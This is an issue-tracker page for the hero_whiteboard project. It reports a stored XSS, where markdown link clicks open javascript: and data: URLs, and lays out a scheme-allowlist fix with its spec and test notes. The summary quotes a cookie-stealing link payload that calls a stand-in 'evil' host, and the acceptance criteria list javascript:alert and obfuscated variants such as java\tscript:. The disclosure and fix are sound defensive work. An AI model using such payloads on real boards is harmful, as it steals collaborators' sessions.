Markdown link click opens unvalidated URL schemes (javascript:/data: execute) #201
Labels
No labels
prio_critical
prio_low
type_bug
type_contact
type_issue
type_lead
type_question
type_story
type_task
No milestone
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
lhumina_code/hero_whiteboard#201
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Summary
Clicking a link inside rendered markdown (sticky / text / document / shape content) opens the URL with no scheme validation, so a
javascript:ordata:link in shared board content executes arbitrary script in the board's origin. Markdown content is user-authored and synced to all collaborators, so this is a stored XSS.Confirmed root cause
handleLinkClick(url)incrates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js(~line 723) handles three internal cases first and then falls through to opening anything else verbatim:The link target comes straight from user markdown
[text](url)parsed at markdown.js:205-213.window.open('javascript:...')/data:URLs execute in the page origin. A shared board containing[click me](javascript:fetch('//evil/'+document.cookie))runs that script for any collaborator who clicks the rendered link.(For reference, markdown images are already safe —
loadImageAsyncat ~:675 hard-requiressrc.indexOf('http') !== 0 -> return. Only the link path is unguarded.)Expected
Only safe link targets are opened. Internal navigation and ordinary web/relative/anchor links keep working; script-executing schemes are blocked.
Requirements
#group:,#board:,/board/...) exactly as-is.window.openpath, apply a SCHEME ALLOWLIST, not a path blocklist:^[a-z][a-z0-9+.-]*:before any/,?, or#): allow onlyhttp:,https:,mailto:(optionallytel:). Block everything else — explicitly includingjavascript:,data:,vbscript:,blob:, andfile:. On a blocked scheme, do nothing (optionally a small toast); neverwindow.openit.docs/x,./x,../x, a bare#fragment, or protocol-relative//host): allow it — these cannot carry a script payload, so relative/anchor links continue to work.file:is intentionally blocked: a web page cannot usefullywindow.openafile:URL anyway, and the markdown features never need it (images already require anhttpprefix; doc/internal links use the internal prefixes or web URLs). Blocking it must not break any current behavior.noopenerand the new-tab behavior for allowed external links.Notes
:before the first/,?, or#(somailto:a@bis a scheme, but./a:bor#a:bis not). Decode/trim before testing sojava\tscript:/ leading-whitespace tricks don't slip through; compare the scheme case-insensitively.touch crates/hero_whiteboard_admin/src/assets.rsbeforecargo build --release -p hero_whiteboard_admin, and verify the served asset changed before testing.Affected files
crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js—handleLinkClick(~723-746).Implementation Spec for Issue #201
Objective
Prevent stored XSS via markdown
[text](url)links. The link target is parsed from collaborator-synced markdown and passed straight towindow.open(url, '_blank', 'noopener')with no scheme validation, so ajavascript:/data:/vbscript:link executes for any collaborator who clicks it. Add a scheme allowlist gate immediately before the fallbackwindow.openinhandleLinkClick, keeping internal-navigation and relative/anchor links working unchanged.Requirements
#group:,#board:,/board/...branches exactly as-is and evaluated BEFORE any scheme check.http:,https:,mailto:,tel:. Block everything else (javascript:,data:,vbscript:,blob:,file:, any other) — never callwindow.open.docs/x,./x,../x, bare#fragment, protocol-relative//host) → allowed (cannot carry a script payload).JavaScript:), leading whitespace, embedded ASCII control/whitespace (java\tscript:).noopener+ new-tab for allowed external links.WhiteboardApp.showToast(message, isError)exists; guard so silent if unavailable).Files to Modify/Create
crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.js- add internal_isSafeLinkTarget(url)and apply it before the fallbackwindow.open.crates/hero_whiteboard_admin/src/assets.rs- no content edit;touchso the rust-embed compile-time bundle regenerates.Implementation Plan
Step 1: Add
_isSafeLinkTarget(url)helperFiles:
crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.jshandleLinkClick(~before line 723). NOT exported.!urlreturn false. Normalize for the scheme test only (do not mutate the URL opened):var probe = String(url).replace(/[ - ]/g, '');. Detect scheme:var schemeMatch = probe.match(/^([a-z][a-z0-9+.-]*):/i);. If null → scheme-less (relative/#frag///host) → return true. If matched →schemeMatch[1].toLowerCase()and return true only if in the allowlisthttp,https,mailto,tel; else false.Dependencies: none
Step 2: Apply the gate in handleLinkClick
Files:
crates/hero_whiteboard_admin/static/web/js/whiteboard/markdown.jsif (!url) return;(~:724) unchanged. Keep the three internal branches#group:(~725-734),#board:(~735-739),/board/(~740-744) unchanged and BEFORE the scheme gate.window.open(url, '_blank', 'noopener');(~:745) with: if_isSafeLinkTarget(url)→window.open(url, '_blank', 'noopener');(identical args); else →if (typeof WhiteboardApp !== 'undefined' && WhiteboardApp && typeof WhiteboardApp.showToast === 'function') { WhiteboardApp.showToast('Blocked a link with an unsupported scheme', true); } return;handleLinkClick, so the central fix covers all.Dependencies: Step 1
Step 3: Regenerate the embedded asset and rebuild
Files:
crates/hero_whiteboard_admin/src/assets.rstouch crates/hero_whiteboard_admin/src/assets.rs, thencargo build --release -p hero_whiteboard_admin; verify the served markdown.js contains the new_isSafeLinkTargetbefore testing.Dependencies: Steps 1, 2
Acceptance Criteria
[x](javascript:alert(1))does NOT open/execute; a blocked toast is shown.JavaScript:,javascript:(leading whitespace),java\tscript:/java\nscript:all blocked.data:,vbscript:,blob:,file:links blocked, never opened.http:///https://open in a new tab withnoopeneras before.mailto:user@example.comandtel:+123open (allowed schemes).docs/x,./x,../x), bare#fragment, protocol-relative//hoststill work.#group:/#board://board/unchanged (handled before the scheme gate).if (!url) return;~:724 unchanged).WhiteboardMarkdown.handleLinkClick) covered; no other call sites in the repo.Notes
/^([a-z][a-z0-9+.-]*):/ion the normalized probe.String(url).replace(/[ - ]/g, '')strips NUL..space (tab/LF/CR/VT/FF + all ASCII control + space) plus DEL, defeating whitespace/java\tscript:obfuscation. The originalurl(not the probe) is passed towindow.openfor allowed links so legitimate URLs are unmodified.http,https,mailto,tel(lowercased compare). Everything else blocked.WhiteboardApp.showToast('Blocked a link with an unsupported scheme', true), typeof-guarded → silent if absent.showToast(message, isError)confirmed at app.js:794, exported app.js:882, already used by the#group:not-found branch (markdown.js:730).tel:is allowed (no script execution context, legitimate link type). Removing the single'tel'entry is the only change if a stricter posture is later wanted.loadImageAsync(:673-711) hard-requires:675); non-http(s) image sources never load. Out of scope, no change.src.indexOf('http') !== 0 -> return(touch crates/hero_whiteboard_admin/src/assets.rs,cargo build --release -p hero_whiteboard_admin, verify served markdown.js changed before testing.Test Results
cargo test --workspace --lib: ok — all suites passed, 0 passed / 0 failed (no lib unit tests defined; suite is green with no regressions)
node --check markdown.js: ok
markdown.js file type: JavaScript source, Unicode text, UTF-8 text — confirms clean UTF-8 JS source, not binary
Note: #201 is a JS-only change (scheme allowlist for markdown link clicks). The scheme-strip regex uses escape sequences (no raw control bytes) so the source stays clean text. No JS unit harness exists in this repo; the Rust suite is the regression gate and the blocked-scheme behavior is verified manually in-browser.
Implementation Summary
JS-only. Markdown link clicks now pass through a scheme allowlist before window.open, closing the stored-XSS sink where a javascript:/data: link in collaborator-synced markdown executed on click. No server/schema change.
Changes (markdown.js)
Behavior after change
Tests